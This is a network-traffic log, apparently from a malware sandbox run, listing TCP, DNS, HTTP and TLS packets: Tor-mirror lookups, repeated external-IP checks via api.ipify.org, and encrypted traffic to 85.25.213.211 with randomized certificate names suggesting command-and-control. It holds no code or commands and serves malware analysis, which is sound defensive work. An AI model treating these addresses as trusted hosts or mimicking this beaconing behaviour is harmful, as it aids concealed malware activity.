Nov 27, 2017 12:36:07.507251024 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:07.896599054 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:07.900846958 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:07.900892973 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:08.095566034 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:08.097424984 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:08.097455978 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:08.264637947 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:08.264667034 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:08.264755964 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:08.268572092 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:08.268594027 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:08.434695005 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:08.442603111 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:08.442640066 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:08.501152039 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:08.501183033 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:08.667186975 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:08.673862934 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:08.673898935 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:08.787121058 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:08.795408964 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:08.795454979 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:08.974667072 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:09.175652027 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:09.175811052 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:09.182420969 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:09.182445049 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:09.500781059 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:09.500827074 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:09.661334038 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:09.687491894 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:09.687545061 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:09.823046923 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:10.059643984 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:10.059914112 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:10.063941002 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:10.063968897 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:10.468844891 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:10.498645067 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:10.498681068 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:10.693861008 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:10.701246023 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:10.701289892 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:10.927273035 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:10.937009096 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:10.937076092 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:11.268045902 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:11.476650000 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:11.505722046 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:11.505784035 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:11.700206041 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:11.723341942 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:11.723400116 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:12.064759016 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:12.072320938 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:12.072374105 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:12.453610897 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:12.520397902 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:12.520441055 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:12.683728933 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:12.692536116 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:12.692579985 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:13.079864979 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:13.086693048 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:13.086756945 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:13.435256958 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:13.501501083 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:13.501538038 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:13.700396061 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:13.708534002 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:13.708595037 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:14.105416059 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:14.114728928 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:14.114804029 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:14.499089003 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:14.499129057 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:14.547576904 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:14.757586002 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:14.757616043 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:14.765913963 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:14.765950918 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:15.070305109 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:15.078934908 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:15.078989029 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:15.360351086 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:15.500880003 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:15.500921011 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:15.668854952 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:15.679924011 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:15.680006027 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:15.962093115 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:15.970801115 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:15.970865011 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:16.388183117 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:16.502826929 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:16.502904892 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:16.759114027 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:16.765224934 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:16.765253067 CET	9002	49186	208.80.154.39	192.168.1.91

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2017 12:34:05.872494936 CET	51226	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:06.291428089 CET	53	51226	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:08.146440983 CET	62875	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:08.349307060 CET	53	62875	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:22.393054008 CET	53340	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:23.383944035 CET	53340	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:24.384159088 CET	53340	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:26.382581949 CET	53340	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:27.479729891 CET	53	53340	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:27.479821920 CET	53	53340	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:27.479888916 CET	53	53340	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:27.479933977 CET	53	53340	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:29.018681049 CET	63488	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:29.219369888 CET	53	63488	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:47.686028957 CET	65029	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:47.845179081 CET	53	65029	8.8.8.8	192.168.1.91
Nov 27, 2017 12:34:48.794944048 CET	60038	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:34:48.975712061 CET	53	60038	8.8.8.8	192.168.1.91
Nov 27, 2017 12:35:20.026310921 CET	59692	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:35:20.162957907 CET	53	59692	8.8.8.8	192.168.1.91
Nov 27, 2017 12:35:30.855345011 CET	49210	53	192.168.1.91	8.8.8.8
Nov 27, 2017 12:35:30.940119028 CET	53	49210	8.8.8.8	192.168.1.91

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 27, 2017 12:34:05.872494936 CET	192.168.1.91	8.8.8.8	0xfeae	Standard query (0)	api.nuget.org	A (IP address)	IN (0x0001)
Nov 27, 2017 12:34:08.146440983 CET	192.168.1.91	8.8.8.8	0x292c	Standard query (0)	chocolatey.org	A (IP address)	IN (0x0001)
Nov 27, 2017 12:34:22.393054008 CET	192.168.1.91	8.8.8.8	0xe7ae	Standard query (0)	torproject.urown.net	A (IP address)	IN (0x0001)
Nov 27, 2017 12:34:23.383944035 CET	192.168.1.91	8.8.8.8	0xe7ae	Standard query (0)	torproject.urown.net	A (IP address)	IN (0x0001)
Nov 27, 2017 12:34:24.384159088 CET	192.168.1.91	8.8.8.8	0xe7ae	Standard query (0)	torproject.urown.net	A (IP address)	IN (0x0001)
Nov 27, 2017 12:34:26.382581949 CET	192.168.1.91	8.8.8.8	0xe7ae	Standard query (0)	torproject.urown.net	A (IP address)	IN (0x0001)
Nov 27, 2017 12:34:29.018681049 CET	192.168.1.91	8.8.8.8	0x7c94	Standard query (0)	dist.torproject.org	A (IP address)	IN (0x0001)
Nov 27, 2017 12:34:47.686028957 CET	192.168.1.91	8.8.8.8	0x1a1e	Standard query (0)	github.com	A (IP address)	IN (0x0001)
Nov 27, 2017 12:34:48.794944048 CET	192.168.1.91	8.8.8.8	0x75d6	Standard query (0)	codeload.github.com	A (IP address)	IN (0x0001)
Nov 27, 2017 12:35:20.026310921 CET	192.168.1.91	8.8.8.8	0xce2c	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)
Nov 27, 2017 12:35:30.855345011 CET	192.168.1.91	8.8.8.8	0x193	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Replay Code	Name	Address	Type	Class
Nov 27, 2017 12:34:06.291428089 CET	8.8.8.8	192.168.1.91	0xfeae	No error (0)	api.nuget.org	93.184.221.200	A (IP address)	IN (0x0001)
Nov 27, 2017 12:34:08.349307060 CET	8.8.8.8	192.168.1.91	0x292c	No error (0)	chocolatey.org	104.20.73.28	A (IP address)	IN (0x0001)
Nov 27, 2017 12:34:27.479729891 CET	8.8.8.8	192.168.1.91	0xe7ae	No error (0)	torproject.urown.net	212.51.156.17	A (IP address)	IN (0x0001)
Nov 27, 2017 12:34:27.479821920 CET	8.8.8.8	192.168.1.91	0xe7ae	No error (0)	torproject.urown.net	212.51.156.17	A (IP address)	IN (0x0001)
Nov 27, 2017 12:34:27.479888916 CET	8.8.8.8	192.168.1.91	0xe7ae	No error (0)	torproject.urown.net	212.51.156.17	A (IP address)	IN (0x0001)
Nov 27, 2017 12:34:27.479933977 CET	8.8.8.8	192.168.1.91	0xe7ae	No error (0)	torproject.urown.net	212.51.156.17	A (IP address)	IN (0x0001)
Nov 27, 2017 12:34:29.219369888 CET	8.8.8.8	192.168.1.91	0x7c94	No error (0)	dist.torproject.org	89.45.235.21	A (IP address)	IN (0x0001)
Nov 27, 2017 12:34:47.845179081 CET	8.8.8.8	192.168.1.91	0x1a1e	No error (0)	github.com	192.30.253.112	A (IP address)	IN (0x0001)
Nov 27, 2017 12:34:48.975712061 CET	8.8.8.8	192.168.1.91	0x75d6	No error (0)	codeload.github.com	192.30.253.121	A (IP address)	IN (0x0001)
Nov 27, 2017 12:35:20.162957907 CET	8.8.8.8	192.168.1.91	0xce2c	No error (0)	api.ipify.org	174.129.241.106	A (IP address)	IN (0x0001)
Nov 27, 2017 12:35:30.940119028 CET	8.8.8.8	192.168.1.91	0x193	No error (0)	api.ipify.org	174.129.241.106	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

api.ipify.org

HTTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Header	Total Bytes Transfered (KB)
Nov 27, 2017 12:35:20.184142113 CET	49173	80	192.168.1.91	174.129.241.106	GET / HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: api.ipify.org Connection: Keep-Alive	9547
Nov 27, 2017 12:35:20.451468945 CET	80	49173	174.129.241.106	192.168.1.91	HTTP/1.1 200 OK Server: Cowboy Connection: keep-alive Content-Type: text/plain Vary: Origin Date: Mon, 27 Nov 2017 11:35:20 GMT Content-Length: 12 Via: 1.1 vegur Data Raw: 36 32 2e 32 31 30 2e 31 33 2e 35 38 Data Ascii: 62.210.13.58	9547
Nov 27, 2017 12:35:20.457911968 CET	49173	80	192.168.1.91	174.129.241.106	GET / HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: api.ipify.org Connection: Keep-Alive	9547
Nov 27, 2017 12:35:20.617727041 CET	80	49173	174.129.241.106	192.168.1.91	HTTP/1.1 200 OK Server: Cowboy Connection: keep-alive Content-Type: text/plain Vary: Origin Date: Mon, 27 Nov 2017 11:35:20 GMT Content-Length: 12 Via: 1.1 vegur Data Raw: 36 32 2e 32 31 30 2e 31 33 2e 35 38 Data Ascii: 62.210.13.58	9548
Nov 27, 2017 12:35:20.629460096 CET	49173	80	192.168.1.91	174.129.241.106	GET / HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: api.ipify.org Connection: Keep-Alive	9548
Nov 27, 2017 12:35:20.792037010 CET	80	49173	174.129.241.106	192.168.1.91	HTTP/1.1 200 OK Server: Cowboy Connection: keep-alive Content-Type: text/plain Vary: Origin Date: Mon, 27 Nov 2017 11:35:20 GMT Content-Length: 12 Via: 1.1 vegur Data Raw: 36 32 2e 32 31 30 2e 31 33 2e 35 38 Data Ascii: 62.210.13.58	9548
Nov 27, 2017 12:35:20.804008007 CET	49173	80	192.168.1.91	174.129.241.106	GET / HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: api.ipify.org Connection: Keep-Alive	9549
Nov 27, 2017 12:35:21.048703909 CET	80	49173	174.129.241.106	192.168.1.91	HTTP/1.1 200 OK Server: Cowboy Connection: keep-alive Content-Type: text/plain Vary: Origin Date: Mon, 27 Nov 2017 11:35:20 GMT Content-Length: 12 Via: 1.1 vegur Data Raw: 36 32 2e 32 31 30 2e 31 33 2e 35 38 Data Ascii: 62.210.13.58	9549
Nov 27, 2017 12:35:21.105073929 CET	49173	80	192.168.1.91	174.129.241.106	GET / HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: api.ipify.org Connection: Keep-Alive	9549
Nov 27, 2017 12:35:21.316155910 CET	80	49173	174.129.241.106	192.168.1.91	HTTP/1.1 200 OK Server: Cowboy Connection: keep-alive Content-Type: text/plain Vary: Origin Date: Mon, 27 Nov 2017 11:35:21 GMT Content-Length: 12 Via: 1.1 vegur Data Raw: 36 32 2e 32 31 30 2e 31 33 2e 35 38 Data Ascii: 62.210.13.58	9550
Nov 27, 2017 12:35:30.976615906 CET	49177	80	192.168.1.91	174.129.241.106	GET / HTTP/1.1 Host: api.ipify.org Connection: Keep-Alive	9572
Nov 27, 2017 12:35:31.234874964 CET	80	49177	174.129.241.106	192.168.1.91	HTTP/1.1 200 OK Server: Cowboy Connection: keep-alive Content-Type: text/plain Vary: Origin Date: Mon, 27 Nov 2017 11:35:31 GMT Content-Length: 13 Via: 1.1 vegur Data Raw: 32 30 34 2e 38 35 2e 31 39 31 2e 33 31 Data Ascii: 204.85.191.31	9573
Nov 27, 2017 12:35:31.435642004 CET	80	49177	174.129.241.106	192.168.1.91	HTTP/1.1 200 OK Server: Cowboy Connection: keep-alive Content-Type: text/plain Vary: Origin Date: Mon, 27 Nov 2017 11:35:31 GMT Content-Length: 13 Via: 1.1 vegur Data Raw: 32 30 34 2e 38 35 2e 31 39 31 2e 33 31 Data Ascii: 204.85.191.31	9573
Nov 27, 2017 12:35:35.457072020 CET	49181	80	192.168.1.91	85.25.213.211	Data Raw: 16 03 01 00 b6 01 00 00 b2 03 03 13 93 7c 44 63 70 4d 6c ef 2f 90 3a 0d 35 53 6f 4e ac 9a 0c 95 78 6f 9b 19 4d 1e 48 b1 64 c9 2f 00 00 1c c0 2b c0 2f c0 2c c0 30 c0 0a c0 09 c0 13 c0 14 00 33 00 39 00 2f 00 35 00 0a 00 ff 01 00 00 6d 00 00 00 14 Data Ascii: \|DcpMl/:5SoNxoMHd/+/,039/5mwww.kmgxaec.com#	9574
Nov 27, 2017 12:35:36.208168983 CET	80	49181	85.25.213.211	192.168.1.91	Data Raw: 16 03 03 00 3b 02 00 00 37 03 03 61 43 28 84 e3 12 07 59 7d 19 94 09 6b 37 3e 1c 69 78 fa d7 9c be f6 a3 1a ec 4e 18 52 ce 61 b1 00 c0 30 00 00 0f 00 00 00 00 ff 01 00 01 00 00 0b 00 02 01 00 16 03 03 02 4c 0b 00 02 48 00 02 45 00 02 42 30 82 02 Data Ascii: ;7aC(Y}k7>ixNRa0LHEB0>0Fe{fdY0H0 10Uwww.zdxgglq6dotno.com0170520000000Z180319235959Z010Uwww.dordiroyk7rg.net0"0H0	9576
Nov 27, 2017 12:35:36.212055922 CET	49181	80	192.168.1.91	85.25.213.211	Data Raw: 16 03 03 00 46 10 00 00 42 41 04 55 37 c4 ca 76 f2 92 0c bb 2e 29 31 8a c7 b6 0c 95 74 7a 20 92 1d 8c c5 69 7e 5b 6c a2 d0 29 72 09 b8 07 3b e9 45 be 9f 0c a4 c7 2b 26 19 66 02 a1 8a e1 55 bd b3 34 17 c8 2a 71 a0 12 e8 a0 4b 14 03 03 00 01 01 16 Data Ascii: FBAU7v.)1tz i~[l)r;E+&fU4*qK('o,2@5ae.Wu~`>P64i	9576
Nov 27, 2017 12:35:36.880099058 CET	80	49181	85.25.213.211	192.168.1.91	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 d3 68 56 8b 86 e1 7c 2a 71 48 9f 8d 1b 18 89 06 ff 04 44 06 42 72 bf 97 c9 38 01 4e 13 a0 81 91 Data Ascii: (hV\|*qHDBr8N	9581
Nov 27, 2017 12:35:36.881139040 CET	49181	80	192.168.1.91	85.25.213.211	Data Raw: 17 03 03 00 23 05 27 6f 2c 10 32 40 dd 2d 2e 15 e6 63 5d 5d e3 da 2b 85 4b 4c 3a c9 f6 fe 5b 42 09 22 37 1c 5f 43 53 2f Data Ascii: #'o,2@-.c]]+KL:[B"7_CS/	9581
Nov 27, 2017 12:35:37.257072926 CET	80	49181	85.25.213.211	192.168.1.91	Data Raw: 17 03 03 08 03 00 00 00 00 00 00 00 01 3e 50 ae a0 c6 fc 41 9c db 23 59 75 7c 54 3d 31 78 bd 01 2f 69 6e 37 3f c9 7d 4c ce 64 1d eb 62 28 32 fd 40 95 58 96 67 5a 30 3e e6 b5 53 27 25 90 0e 7c db 8a 95 00 a5 1a 80 95 0f 7d 0e 3b 9c 00 84 3c 0e ba Data Ascii: >PA#Yu\|T=1x/in7?}Ldb(2@XgZ0>S'%\|};</p5[;lG{hm)A:qxI1W].! YDExWTK7C(u?Q3?'G@W+ u:g62GK{&CXZu!t<N	9586
Nov 27, 2017 12:35:37.257098913 CET	80	49181	85.25.213.211	192.168.1.91	Data Raw: 23 e0 2a 3e 63 96 0b b8 ed 21 24 e5 c0 e8 71 24 cc 9c 06 79 c6 07 e4 50 bc 4c 1f f8 26 1a 33 12 f0 07 ee d8 0d 06 60 28 4b 37 4b a4 f8 74 02 92 97 5f d7 3c b2 07 59 9d f0 e3 42 4f 87 55 dc e5 5c 14 b5 73 5a 3d 70 4c 60 66 27 cf e7 cc 98 8b 7a e5 Data Ascii: #>c!$q$yPL&3`(K7Kt_<YBOU\sZ=pL`f'z]Fo.(no%BK3a<?\|k.a\|ty0uSy\ivCbuuve@Q\|]E:R>\<M'W;4q3\cqh4	9587
Nov 27, 2017 12:35:37.261291981 CET	49181	80	192.168.1.91	85.25.213.211	Data Raw: 17 03 03 04 1c 05 27 6f 2c 10 32 40 de 73 53 ba eb 6e fd 21 42 59 dc fa f6 40 8c 57 2a 6d ae dd 6f 35 80 eb 60 2e 91 b7 f0 d7 9a 15 17 62 41 52 53 6b 32 5a 29 e8 49 be 2d 0c dc 70 88 24 95 fe 36 cc 5d c9 0a 53 97 f3 53 b8 40 39 09 6c 97 44 00 97 Data Ascii: 'o,2@sSn!BY@Wmo5`.bARSk2Z)I-p$6]SS@9lD\}1^WQ!-3K)vJs%Y,cEA9Cm5YiD'NJDM>B\|vWg=g{j'^s"UBP4OWngdQ=Ym`VJPw\v\|]	9588
Nov 27, 2017 12:35:41.851216078 CET	80	49181	85.25.213.211	192.168.1.91	Data Raw: 17 03 03 02 1a 00 00 00 00 00 00 00 02 5d 08 a3 04 51 9e 09 d8 b1 f7 e8 69 c9 85 db b7 1e 1b 47 c9 b8 a5 3f 25 d6 82 22 cb a6 53 3a da 61 80 1a b0 2a 8a 05 c0 ab 19 c7 69 b0 f7 94 ca b8 70 59 9b f9 4e e2 79 68 be a4 68 5e 23 95 3a f5 5b e9 30 67 Data Ascii: ]QiG?%"S:aipYNyhh^#:[0gXE6jqox&W\|`.39KA!u2\28+-xs?J\=P&.0vysN)VoQ>S5S\|8ZW{X-KWxY3]H-XG/rtM@^<	10572
Nov 27, 2017 12:35:42.051654100 CET	80	49181	85.25.213.211	192.168.1.91	Data Raw: 17 03 03 02 1a 00 00 00 00 00 00 00 02 5d 08 a3 04 51 9e 09 d8 b1 f7 e8 69 c9 85 db b7 1e 1b 47 c9 b8 a5 3f 25 d6 82 22 cb a6 53 3a da 61 80 1a b0 2a 8a 05 c0 ab 19 c7 69 b0 f7 94 ca b8 70 59 9b f9 4e e2 79 68 be a4 68 5e 23 95 3a f5 5b e9 30 67 Data Ascii: ]QiG?%"S:aipYNyhh^#:[0gXE6jqox&W\|`.39KA!u2\28+-xs?J\=P&.0vysN)VoQ>S5S\|8ZW{X-KWxY3]H-XG/rtM@^<	10573
Nov 27, 2017 12:35:45.250117064 CET	49181	80	192.168.1.91	85.25.213.211	Data Raw: 17 03 03 0f fc 05 27 6f 2c 10 32 40 df d0 d1 2e 1c 5c 9b 08 56 a9 66 18 b0 b5 8f 5b 28 76 56 69 fc 54 a7 d5 e1 9f 51 32 ec f8 9b 71 b5 bb 4f 6e f8 5e d9 28 c6 9e 35 c3 63 c3 ca 79 2c ad 3b af 87 8f a8 f2 a6 36 61 1a f3 3e 8a 83 fa 08 a3 c9 3e 9a Data Ascii: 'o,2@.\Vf[(vViTQ2qOn^(5cy,;6a>>'i3*Z,}nZ+XCMTmu7irZju:zJ`?hv@Q=Xu-5hl+_/ZqI2J_MJtCI,$	10670
Nov 27, 2017 12:35:45.250756025 CET	49181	80	192.168.1.91	85.25.213.211	Data Raw: 17 03 03 0f fc 05 27 6f 2c 10 32 40 e0 f1 26 f8 d7 a0 52 55 b4 22 73 55 03 27 45 ef d4 06 98 17 5a 00 0b d4 6f 02 5f fe a5 50 04 bb 82 a2 e3 d8 93 33 ff 02 ef 9e 29 0d d8 80 1c 4d 58 af 04 5d 07 1c 2d c6 13 2e 08 09 22 c9 97 31 08 52 a5 0b 59 1d Data Ascii: 'o,2@&RU"sU'EZo_P3)MX]-."1RY.,G{!*y(xSb-h_oC~zh`h$?s{,7 FpRojOsFuaO+btgMkYT	10690
Nov 27, 2017 12:35:45.251765013 CET	49181	80	192.168.1.91	85.25.213.211	Data Raw: 17 03 03 0f fc 05 27 6f 2c 10 32 40 e1 77 2c 63 79 5e 11 8f cb 3f 41 68 54 5b b7 30 d7 b6 51 81 75 3f 77 d3 21 63 9c 56 22 ae f3 bb 3b 38 2d d7 fd d3 8f de 78 74 f9 a5 4b a7 24 73 91 b4 8c cb ec 99 d7 ae 37 c4 96 0c d0 57 38 e4 49 e7 6b c9 2c 32 Data Ascii: 'o,2@w,cy^?AhT[0Qu?w!cV";8-xtK$s7W8Ik,2^09Q[>PyJ( JZwVY\|qx@CZ}*:Q03W^bDr(\|R(<rQ&~'# 4y5P)[	10713
Nov 27, 2017 12:35:45.252149105 CET	49181	80	192.168.1.91	85.25.213.211	Data Raw: 17 03 03 0f fc 05 27 6f 2c 10 32 40 e2 67 90 a2 92 91 fa ef db 8f 34 bc 35 84 10 9e 70 94 d4 b5 a4 58 7b f3 82 d0 53 61 4a a2 a0 4d 43 19 52 4e 4a 59 d0 3c 77 23 b3 d2 5d 09 d2 e6 96 7a 6a c8 c3 78 66 35 17 d6 20 35 c8 57 ba cd 22 ea 97 c5 31 55 Data Ascii: 'o,2@g45pX{SaJMCRNJY<w#]zjxf5 5W"1U^L\|e@[2)po[@2+R~~!FDZ`hqV84-qm[ w~Amr!r/OG/J7K,#RU!4	10735
Nov 27, 2017 12:35:45.252223969 CET	49181	80	192.168.1.91	85.25.213.211	Data Raw: 17 03 03 0f fc 05 27 6f 2c 10 32 40 e3 0a 34 a7 0c 38 61 34 24 3b 1c 64 dd 26 4f e2 28 c2 da 06 a0 95 d8 b0 1e 91 4c 09 2a f4 be 85 cf 0b a0 e1 57 4d 8d b6 58 9d 7c 25 11 1e 75 92 6e 32 a5 1c 06 61 12 e2 28 e7 4e dd 60 11 a4 7e 70 47 bb d5 b5 0f Data Ascii: 'o,2@48a4$;d&O(L*WMX\|%un2a(N`~pG\(#?<C-~{ysMBB~Lbb&$J6OhNj$oMC38:zx$}^b:LH5559J5YBOTKEgKy&$	10739
